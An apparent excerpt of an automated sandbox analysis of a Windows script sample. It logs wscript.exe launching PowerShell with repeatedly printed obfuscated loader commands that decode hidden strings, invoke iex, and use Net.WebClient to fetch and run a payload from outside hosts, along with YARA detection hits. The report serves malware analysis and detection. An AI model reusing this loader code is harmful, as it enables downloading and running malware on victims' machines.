Source: wscript.exe, 00000000.00000003.1703648920.00000190B81F2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1717060927.00000190B8213000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698591176.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1713686437.00000190B8213000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1702723316.00000190B81CA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1717268310.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1703727134.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1714186520.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1715740470.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1702645545.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.3056433769.0000021EF2781000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW %SystemRoot%\system32\mswsock.dll$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Su

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7456.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7668, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga';if (${host}.currentculture) {$optionally++;}function nordvest61($spaltedefinitionernes){$defrauding=$spaltedefinitionernes.length-$optionally;$genskabtes='substri';$genskabtes+='ng';for( $snakeflower=1;$snakeflower -lt $defrauding;$snakeflower+=2){$unloveliness+=$spaltedefinitionernes.$genskabtes.invoke( $snakeflower, $optionally);}$unloveliness;}function diagonalgade209($plejninger){ . ($tantarabobus) ($plejninger);}$amtskommunaldirektrens=nordvest61 ' mpo.zsiilslna,/s5 . 0u u(.wsisn dsopwss .nftl 1d0o..0 ; swoi ne6p4e;b cxo6e4n;s .rsvh:r1 2 1 . 0o)t .g egc k ot/g2,0v1,0p0s1m0l1m ffti r.e.fkobxg/,1m2.1s.c0t ';$ridestiernes=nordvest61 'sups e,r - asg,e,n,t. ';$ristornos33=nordvest61 ',h t,t p :./f/o1s0 3l.a1r9 5 . 2,3 7f. 4t3m/.mga g,n e t,i s.e.r ijntg,esr n ea.gs.e a >fhstitaptse: /b/sm i,lsa n a,cje sb.vc o m /um afg n,e,tui sfepr i n gne rvnbeo.gsoeha ';$diftongeringerne=nordvest61 '.>s ';$tantarabobus=nordvest61 '.iee x ';$mugningers157='kalkulationskolonnernes';$alluviate = nordvest61 '.encph.ok p%hahp,p dpa tiau%.\ psafrmanp hpyls i.f,esrdo u.s ..mdakk. h& &b egc hmo bt ';diagonalgade209 (nordvest61 'u$sg.leo braulm:,rre k rpu t,st=k(gcbm d f/ ci $ a,l.lsu vci,aut e,) ');diagonalgade209 (nordvest61 'g$cg,l,obbaa l :pboyar,eun.d elr.n eas,= $sr,iys,t omrlnto s,3.3k.dssp l,i t.( $td isfft o.nhgce ruiun g,eor.nrea)a ');diagonalgade209 (nordvest61 'r[anbe,ta.pste rav,i cbebp o i natmmaa,n acgte,r,]i: :cs emc,usr i,t.y,prruo,t o cdodl e=e m[pnoegt..ssredc.umr i t yfpermout,obc,o lutfy poe ] :.:,t lesu1u2 ');$ristornos33=$byrendernes[0];$konjunkturgevinsterne= (nordvest61 'd$bgtl opbea.l :dumnpsaubmtpst.u,ohu.s.l y,=un eowk-fo.bfjsesc tj fs ycs tme,mf.pnne.t .hwielb c l iseun t');$konjunkturgevinsterne+=$rekruts[1];diagonalgade209 ($konjunkturgevinsterne);diagonalgade209 (nordvest61 ' $ uenuscuamtp t.uuo uhsol,y .uhce a,dgehr s [ $trsifdsens,t,i e,r n.e.s.] =,$ua,m tbs k oamamau n,a,lhd,irr e kst rae.nnsb ');$packplane223=nordvest61 ' $ u n s u m.pct.u o uks.l.ya.rddobwgnblsobakdsf ibl.eo( $fr iss.tno rsn,opsm3u3.,o$.hdyupun ostai sie,r.eps ) ';$hypnotiseres=$rekruts[0];diagonalgade209 (nordvest61 ',$ gql o b a.l :skklta,pfsiall vremna= ( t edsfta-,pgakt hi t$sh,y phnsobtsi s eprcefsp)v ');while (!$klapsalven) {diagonalgade209 (nord
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga';if (${host}.currentculture) {$optionally++;}function nordvest61($spaltedefinitionernes){$defrauding=$spaltedefinitionernes.length-$optionally;$genskabtes='substri';$genskabtes+='ng';for( $snakeflower=1;$snakeflower -lt $defrauding;$snakeflower+=2){$unloveliness+=$spaltedefinitionernes.$genskabtes.invoke( $snakeflower, $optionally);}$unloveliness;}function diagonalgade209($plejninger){ . ($tantarabobus) ($plejninger);}$amtskommunaldirektrens=nordvest61 ' mpo.zsiilslna,/s5 . 0u u(.wsisn dsopwss .nftl 1d0o..0 ; swoi ne6p4e;b cxo6e4n;s .rsvh:r1 2 1 . 0o)t .g egc k ot/g2,0v1,0p0s1m0l1m ffti r.e.fkobxg/,1m2.1s.c0t ';$ridestiernes=nordvest61 'sups e,r - asg,e,n,t. ';$ristornos33=nordvest61 ',h t,t p :./f/o1s0 3l.a1r9 5 . 2,3 7f. 4t3m/.mga g,n e t,i s.e.r ijntg,esr n ea.gs.e a >fhstitaptse: /b/sm i,lsa n a,cje sb.vc o m /um afg n,e,tui sfepr i n gne rvnbeo.gsoeha ';$diftongeringerne=nordvest61 '.>s ';$tantarabobus=nordvest61 '.iee x ';$mugningers157='kalkulationskolonnernes';$alluviate = nordvest61 '.encph.ok p%hahp,p dpa tiau%.\ psafrmanp hpyls i.f,esrdo u.s ..mdakk. h& &b egc hmo bt ';diagonalgade209 (nordvest61 'u$sg.leo braulm:,rre k rpu t,st=k(gcbm d f/ ci $ a,l.lsu vci,aut e,) ');diagonalgade209 (nordvest61 'g$cg,l,obbaa l :pboyar,eun.d elr.n eas,= $sr,iys,t omrlnto s,3.3k.dssp l,i t.( $td isfft o.nhgce ruiun g,eor.nrea)a ');diagonalgade209 (nordvest61 'r[anbe,ta.pste rav,i cbebp o i natmmaa,n acgte,r,]i: :cs emc,usr i,t.y,prruo,t o cdodl e=e m[pnoegt..ssredc.umr i t yfpermout,obc,o lutfy poe ] :.:,t lesu1u2 ');$ristornos33=$byrendernes[0];$konjunkturgevinsterne= (nordvest61 'd$bgtl opbea.l :dumnpsaubmtpst.u,ohu.s.l y,=un eowk-fo.bfjsesc tj fs ycs tme,mf.pnne.t .hwielb c l iseun t');$konjunkturgevinsterne+=$rekruts[1];diagonalgade209 ($konjunkturgevinsterne);diagonalgade209 (nordvest61 ' $ uenuscuamtp t.uuo uhsol,y .uhce a,dgehr s [ $trsifdsens,t,i e,r n.e.s.] =,$ua,m tbs k oamamau n,a,lhd,irr e kst rae.nnsb ');$packplane223=nordvest61 ' $ u n s u m.pct.u o uks.l.ya.rddobwgnblsobakdsf ibl.eo( $fr iss.tno rsn,opsm3u3.,o$.hdyupun ostai sie,r.eps ) ';$hypnotiseres=$rekruts[0];diagonalgade209 (nordvest61 ',$ gql o b a.l :skklta,pfsiall vremna= ( t edsfta-,pgakt hi t$sh,y phnsobtsi s eprcefsp)v ');while (!$klapsalven) {diagonalgade209 (nord
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga';if (${host}.currentculture) {$optionally++;}function nordvest61($spaltedefinitionernes){$defrauding=$spaltedefinitionernes.length-$optionally;$genskabtes='substri';$genskabtes+='ng';for( $snakeflower=1;$snakeflower -lt $defrauding;$snakeflower+=2){$unloveliness+=$spaltedefinitionernes.$genskabtes.invoke( $snakeflower, $optionally);}$unloveliness;}function diagonalgade209($plejninger){ . ($tantarabobus) ($plejninger);}$amtskommunaldirektrens=nordvest61 ' mpo.zsiilslna,/s5 . 0u u(.wsisn dsopwss .nftl 1d0o..0 ; swoi ne6p4e;b cxo6e4n;s .rsvh:r1 2 1 . 0o)t .g egc k ot/g2,0v1,0p0s1m0l1m ffti r.e.fkobxg/,1m2.1s.c0t ';$ridestiernes=nordvest61 'sups e,r - asg,e,n,t. ';$ristornos33=nordvest61 ',h t,t p :./f/o1s0 3l.a1r9 5 . 2,3 7f. 4t3m/.mga g,n e t,i s.e.r ijntg,esr n ea.gs.e a >fhstitaptse: /b/sm i,lsa n a,cje sb.vc o m /um afg n,e,tui sfepr i n gne rvnbeo.gsoeha ';$diftongeringerne=nordvest61 '.>s ';$tantarabobus=nordvest61 '.iee x ';$mugningers157='kalkulationskolonnernes';$alluviate = nordvest61 '.encph.ok p%hahp,p dpa tiau%.\ psafrmanp hpyls i.f,esrdo u.s ..mdakk. h& &b egc hmo bt ';diagonalgade209 (nordvest61 'u$sg.leo braulm:,rre k rpu t,st=k(gcbm d f/ ci $ a,l.lsu vci,aut e,) ');diagonalgade209 (nordvest61 'g$cg,l,obbaa l :pboyar,eun.d elr.n eas,= $sr,iys,t omrlnto s,3.3k.dssp l,i t.( $td isfft o.nhgce ruiun g,eor.nrea)a ');diagonalgade209 (nordvest61 'r[anbe,ta.pste rav,i cbebp o i natmmaa,n acgte,r,]i: :cs emc,usr i,t.y,prruo,t o cdodl e=e m[pnoegt..ssredc.umr i t yfpermout,obc,o lutfy poe ] :.:,t lesu1u2 ');$ristornos33=$byrendernes[0];$konjunkturgevinsterne= (nordvest61 'd$bgtl opbea.l :dumnpsaubmtpst.u,ohu.s.l y,=un eowk-fo.bfjsesc tj fs ycs tme,mf.pnne.t .hwielb c l iseun t');$konjunkturgevinsterne+=$rekruts[1];diagonalgade209 ($konjunkturgevinsterne);diagonalgade209 (nordvest61 ' $ uenuscuamtp t.uuo uhsol,y .uhce a,dgehr s [ $trsifdsens,t,i e,r n.e.s.] =,$ua,m tbs k oamamau n,a,lhd,irr e kst rae.nnsb ');$packplane223=nordvest61 ' $ u n s u m.pct.u o uks.l.ya.rddobwgnblsobakdsf ibl.eo( $fr iss.tno rsn,opsm3u3.,o$.hdyupun ostai sie,r.eps ) ';$hypnotiseres=$rekruts[0];diagonalgade209 (nordvest61 ',$ gql o b a.l :skklta,pfsiall vremna= ( t edsfta-,pgakt hi t$sh,y phnsobtsi s eprcefsp)v ');while (!$klapsalven) {diagonalgade209 (nord	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "cls;write 'unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga unloveliness vvestol shrimpish byrendernes ristornos33 estoppel togaernes kalkulationskolonnernes dispatch systematikkerne hemmelighed tonical uncrudded ulyksalighed ugthedens buddingpulverets vertebrate pursuits partitional rigsenhedens brugervenlig hypnotiseres quinqueradiate saiga';if (${host}.currentculture) {$optionally++;}function nordvest61($spaltedefinitionernes){$defrauding=$spaltedefinitionernes.length-$optionally;$genskabtes='substri';$genskabtes+='ng';for( $snakeflower=1;$snakeflower -lt $defrauding;$snakeflower+=2){$unloveliness+=$spaltedefinitionernes.$genskabtes.invoke( $snakeflower, $optionally);}$unloveliness;}function diagonalgade209($plejninger){ . ($tantarabobus) ($plejninger);}$amtskommunaldirektrens=nordvest61 ' mpo.zsiilslna,/s5 . 0u u(.wsisn dsopwss .nftl 1d0o..0 ; swoi ne6p4e;b cxo6e4n;s .rsvh:r1 2 1 . 0o)t .g egc k ot/g2,0v1,0p0s1m0l1m ffti r.e.fkobxg/,1m2.1s.c0t ';$ridestiernes=nordvest61 'sups e,r - asg,e,n,t. ';$ristornos33=nordvest61 ',h t,t p :./f/o1s0 3l.a1r9 5 . 2,3 7f. 4t3m/.mga g,n e t,i s.e.r ijntg,esr n ea.gs.e a >fhstitaptse: /b/sm i,lsa n a,cje sb.vc o m /um afg n,e,tui sfepr i n gne rvnbeo.gsoeha ';$diftongeringerne=nordvest61 '.>s ';$tantarabobus=nordvest61 '.iee x ';$mugningers157='kalkulationskolonnernes';$alluviate = nordvest61 '.encph.ok p%hahp,p dpa tiau%.\ psafrmanp hpyls i.f,esrdo u.s ..mdakk. h& &b egc hmo bt ';diagonalgade209 (nordvest61 'u$sg.leo braulm:,rre k rpu t,st=k(gcbm d f/ ci $ a,l.lsu vci,aut e,) ');diagonalgade209 (nordvest61 'g$cg,l,obbaa l :pboyar,eun.d elr.n eas,= $sr,iys,t omrlnto s,3.3k.dssp l,i t.( $td isfft o.nhgce ruiun g,eor.nrea)a ');diagonalgade209 (nordvest61 'r[anbe,ta.pste rav,i cbebp o i natmmaa,n acgte,r,]i: :cs emc,usr i,t.y,prruo,t o cdodl e=e m[pnoegt..ssredc.umr i t yfpermout,obc,o lutfy poe ] :.:,t lesu1u2 ');$ristornos33=$byrendernes[0];$konjunkturgevinsterne= (nordvest61 'd$bgtl opbea.l :dumnpsaubmtpst.u,ohu.s.l y,=un eowk-fo.bfjsesc tj fs ycs tme,mf.pnne.t .hwielb c l iseun t');$konjunkturgevinsterne+=$rekruts[1];diagonalgade209 ($konjunkturgevinsterne);diagonalgade209 (nordvest61 ' $ uenuscuamtp t.uuo uhsol,y .uhce a,dgehr s [ $trsifdsens,t,i e,r n.e.s.] =,$ua,m tbs k oamamau n,a,lhd,irr e kst rae.nnsb ');$packplane223=nordvest61 ' $ u n s u m.pct.u o uks.l.ya.rddobwgnblsobakdsf ibl.eo( $fr iss.tno rsn,opsm3u3.,o$.hdyupun ostai sie,r.eps ) ';$hypnotiseres=$rekruts[0];diagonalgade209 (nordvest61 ',$ gql o b a.l :skklta,pfsiall vremna= ( t edsfta-,pgakt hi t$sh,y phnsobtsi s eprcefsp)v ');while (!$klapsalven) {diagonalgade209 (nord	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
